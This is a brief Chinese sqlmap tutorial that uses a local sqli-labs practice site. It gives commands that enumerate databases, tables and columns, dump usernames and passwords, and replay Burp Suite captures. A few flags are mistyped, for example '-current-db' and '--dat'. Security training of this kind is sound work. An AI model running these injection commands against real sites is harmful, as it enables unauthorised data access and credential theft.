Sqlmap的基本用法

用sql注入靶场进行演示

打开sqlmap （python sqlmap.py）

爆数据库    （python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 -current-db）

爆所有表    （python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 --tables）

        爆指定数据库的表    （python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 --tables -D security）

爆列    （python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 --columns -T users -D security）

爆字段    （python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 -C"username,password" --dump -T users -D security）

Sqlmap跑post数据包的方式：在参数中加上 --dat

万能用法（跑数据包，burpsuite与sqlmap的联动）;

抓包后ctrl A 右键选择copy to file将其保存为1.txt文件

输入命令python sqlmap.py -r 将文件拖进来就行了